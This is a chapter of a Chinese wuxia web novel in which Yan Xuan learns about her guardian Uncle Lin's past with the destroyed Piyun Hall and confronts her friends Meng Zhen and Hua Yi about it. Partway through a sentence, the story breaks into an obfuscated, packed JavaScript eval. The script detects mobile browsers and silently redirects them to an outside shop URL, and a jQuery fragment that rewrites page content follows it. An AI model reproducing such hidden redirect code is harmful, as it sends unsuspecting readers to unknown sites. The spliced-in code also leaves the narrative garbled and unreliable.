亲友、仇敌亦或亲友变仇敌,一个经典的颇具武侠风味的命题猝不及防摆在晏璇面前。
她眯起双眼,第一次蓦然感受到某种恶意,醍醐灌顶似的,世界早在她眼前展卷她却忽略了它的调性,刀光剑影掺着错综复杂的人物关系和宿命般的情感纠葛……
她习惯了旁观,即使在同珩出现时已自省过,前几世的早逝加之晏家和雾山长期的简单生活令她对某些东西缺乏敏感。
以为自己是偶然的界外闯入者,遇到例如孟尧这样的代表人物也是淡定,殊不知在生命诞生之初就已步入迷雾棋局。
她不是世界中心,却是她这个故事的主角。
这是否算是一种迟来的醒悟还是算顺着故事发展的自然展开?
小九或许知道什么,但是它的本质阻断了晏璇窥探的道路。她的身世初露端倪已不简单,根据世界特性,身边大抵也是些藏龙卧虎的。
只是她从一开始就是摆烂的态度,活着都很难了还要她去关心什么。她甚至吐槽过自己是短命的炮灰女配,也没想拿回主场去探索这个世界。
听起来很可惜,换个事业心强一点的,说不定早在多年前就干到某组织神秘领头人了,那些穿越小说的创作内容怎么不算是某种人生范本。
她后悔吗?本性惫懒的人若是从头再来,她自保之余顶多对身边的人多一点好奇。
所以,林叔到底是个什么样的人?
晏璇出生的时候,他已经是晏家的管家兼护卫。她睁眼看到的第三个人就是他,虽然模模糊糊的,但能闻到他身上有种特别的木香,干净冷冽。
他淡漠、冷肃、不苟言笑,完全不似寻常人家的护卫。第一次抱着她的时候他伸着双臂,僵硬得像是捧着什么绝世杀器。晏璇瞥一眼他瞪圆的狭长凤眸,兀自睡去。
“夫人,她、她好像没有气息了!”
不一会,总是表现沉着的男子急得在原地乱转,伸手要去探她的鼻息,直到耳边响起晏时蕴促狭的笑声。
“阿靖从前一定没有看顾过小孩。”
卢晚茵从林靖手中接过她,哼道:“五十步笑百步,不知是谁夜里要吵醒女儿几次。”
两个男人顿时面面相觑。
后来,她开始学走路了,跌跌撞撞的,身后永远跟着一袭青衣的他。
再后来,她大一些可以满院乱跑,身体却出现问题,动不动就会发烧生病,卢晚茵不准她出院子,更不准她爹对她有抱着举高这种行为。于是,她悄悄对林靖勾手指头:“林叔,飞。”
林靖左右张望过后,肃着脸道:“只能玩一会。”随后,他会在她面前蹲下,任她爬着骑上他的肩头,一眨眼,一大一小两个身影就已落在屋脊之上。
林靖会扶住她的双臂,在屋顶上待着晒会太阳,他身法了得,在空中的步伐如脚踩莲台般轻巧。晏璇得了些乐趣,院外她本就不想去,每每爹娘不在就会央林靖带她玩,或抱或背,从东院逛到西院,在梅玉彦出现之前,他是她第一个玩伴。
无数个日夜,林叔就像她半个父亲般的存在,她见证了他从最初的冷淡无趣到偶尔会开玩笑,会跟她约定暗号的人生变化。他总是放低姿态说要报答他们一家,对外却从未露怯,身上隐隐有着一股傲气。
那时晏时蕴还和素慧大师有往来,晏璇就瞎猜爹娘是什么退隐江湖的高人,林叔则是追随他们的下属。小九嘲她想象力丰富,她现在想想不过是自己猜错方向了而已。
林叔是披云堂的出身,而披云堂已遭灭门,他指的恩情会是爹娘对他的收留吗,他才是那个退隐的高人?
倘若她对武学有一知半解,看得懂招式,林叔那独树一帜的轻巧步法,当孟珎第一次在她面前复现的时候,她就该想到了。当初离开斛县,林叔会为师兄说话,实则都是基于对自己徒弟的了解和信任,还有花奕望向孟珎的怪异眼神,不知是不是在震惊他的定力。
晏璇不察,老实人孟珎也是一演多年。她在装纯真扮好人,其他人也在扮不熟,扮普通,还有的在角色扮演,这个世界上人人都戴着面具。
沉默许久,她抬眸,面色平静道:“我饿了。”
“哦哦,有刚熬好的粥。”花奕侧头,瞪了眼傻愣着的孟珎。
才交过心就遇到了两难的问题,孟珎无声轻叹,转身从桌上的托盘上端过粥碗,面露一点笑意:“是山药红枣粥,你喜欢喝的。”
他用勺子搅了搅,舀了小半勺粥喂到她嘴边。
晏璇盯着勺子未动,对面两人一副屏气凝神的模样,气氛都变得凝滞起来。
如此怕她生气?晏璇心中好笑,其实她没什么被欺骗的不适,林叔有隐藏过去的权利。他们紧张表示在意,在意她会不会惹上麻烦,不对她说那些也只是思虑过后的决定。
晏璇咂摸了会,看来她还挺会自我消解的。无他,这些人太好懂,即使演戏都是偏向她的。
否则,她的面具不会有摘下的一天。
嗯……要不要逗逗他们应个景?
晏璇微微后仰退开一寸,伸出手道:“我可以自己来。”
她过分的安静令两人惴惴不安。孟珎显然有些无措,他不大会为自己辩解也缺乏哄人的经验,只得先把碗递给她:“小心,还有点烫。”
“嗯。”晏璇接过,垂眸默默小口吃着。
花奕双手平放在腿上,时不时就搓动一下:“那个,阿璇……我们不是故意的。”
“嗯,是有意的,我懂。”晏璇低声道。
花奕“哎呀”一声,急得锤了一下床角。
晏璇转了眼眸盯着被花奕捶打那处,嘴角微抿。原来无理取闹使性子是这种感觉,花奕这个直肠子可要憋坏了,她今天就任性一回。
“听姐姐的,别乱想!”花奕坐近了些,瞥一眼孟珎道,“江湖上的恩恩怨怨容易招来祸患,林前辈他……出身特别,也是为了你好。还有孟珎,之前他武功那么差劲,不多学着点今天都只能干看着你被欺负。”
孟珎投去微妙一瞥:“……师姐说得是。”
晏璇掩唇轻咳忍住笑意,点头应道:“嗯。”花奕能有为孟珎说话的一天,也是难得了。
花奕见她情绪仍是不高,继续道:“我没有怪你不好或者拖后腿的意思,你可是我们之中的大药师,炼药本领是我娘都夸赞了的。”
“有人要迫害林叔?是披云堂的仇家吗?”晏璇问。
“这个……当年我年纪小不清楚,关于披云堂江湖上的人也是讳莫如深,貌似是有人觊觎武学功法引发的血案。前辈能逃过此劫,必是不易。”
披云堂既是受害方,江湖中人为何要缄口不言,难道他们也对独家武学存着异样的心思还是……血案另有隐情?
晏璇用勺子刮着碗底,脑中深思不断,眼前给到的线索还是太少了。
手中的碗突然被人端走,晏璇一愣,见孟珎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131543|138094||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正低头凝视着她,他眸光粼粼,眼底晦暗不是委屈胜似委屈,脸上带着小心翼翼的谨慎。
“林叔的事,你有任何想知道的我都慢慢告诉你,不要置气。”说着,他伸出另一只手掌,“从前你说从高处往下望时,烦恼也会随风吹走,我带你去城中的阁楼逛逛,好不好?”
孟珎声线低柔,是一贯在晏璇跟前的语气。
花奕受不了似的低“啧”一声,嫌恶得看向孟珎:“这男人要是想,什么花言巧语都能想出来……”
晏璇眼瞅着孟珎的脸慢慢涨红,连脖颈都有些发红的迹象,他在她面前好像永远有着少年人的稚嫩和羞涩。
“今天没心情,”她哼了声,看着某人欲要收回的手缓缓笑起来,“啪”的一声重重拍在他掌心,“也没生气,就是……想看看你和奕姐姐坐立不安的着急样。不过下回,就不一定了,我可是很小心眼的。”
“小晏璇啊……”花奕一把搂住她的肩膀,摇晃着她,“真的假的?你连姐姐我也要吓。说起来,都怪姓孟的呆子,我可不背他的锅。”
“师姐,快放开阿璇,她的头还晕着。”孟珎刚放下的心又提起来,嘴角的笑意都还未褪。
在花奕这种直来直去的人面前,晏璇还真不好发脾气,情绪来得快去得快,凡事都要和你当场讲明白,和孟珎内敛的处事风格截然不同。
晏璇揉了揉脑袋,叹道:“真的不得了。不过,我还是想知道林叔的事。”
孟珎斟酌道:“披云堂的过往,他没有多说,只道当年有人犯了大错,但斯人已逝,门派不在,不必追怀。”
谁犯了错会导致灭门?晏璇微微拧眉:“那同珩会跟林叔有关系吗?他提到的凌羽又是谁?”
“凌羽……我知道是谁!”花奕接道,“披云堂的每代掌门都姓凌,据说作为最重要的传承弟子都会改为凌姓。”
晏璇了然:“他一见面就质问师兄,是不是以为师兄的武功出自凌羽?难道……林叔就是凌羽?!”
“未必。”孟珎递给她一个安抚的眼神,“十几年前的掌门凌羽大概是个四十来岁的中年人,林叔的年纪对不上。”
那同珩是怎么跟披云堂发生恩怨的?看他对自己呐喊,宁愿不与她相认见面也不许她和疑似披云堂传人在一起,这般的仇恨可谓是不共戴天之仇了。
难道……
晏璇的心脏停顿半拍,她有点愤恨起这个世界的调性。如果硬要往那个充满恶趣味的剧情方向猜,同珩与披云堂的灭门之灾脱不了干系了……
若同珩真的与她有血缘关系,那她跟林叔就会是她一开始预见的那样,即使她对过往一无所知,纠葛的感情线依然会将他们缠绕至死。
好一个流氓般的世界运行法则。
孟珎见晏璇突然沉默,神色凝重,关切道:“怎么了?是在担心林叔?”
林叔远在斛县还好,眼前的同珩才是大问题,要是让他知道自己是林叔带大的,真怕他又要发疯或是逼她发疯。
晏璇沉出一口气,暂且无奈地摇摇头。
“咚咚咚”,门外突然响起了敲门声。
“我让晏曜练功去了,这会应该不是他。”花奕说着,起身去开门。
半敞的门外,一身素色道袍的女子站立着,她面露焦灼,举手作揖。
“可是有位晏姑娘在此?峋山派内门弟子纪霜叶特来求助!”
“请晏姑娘救人一命!”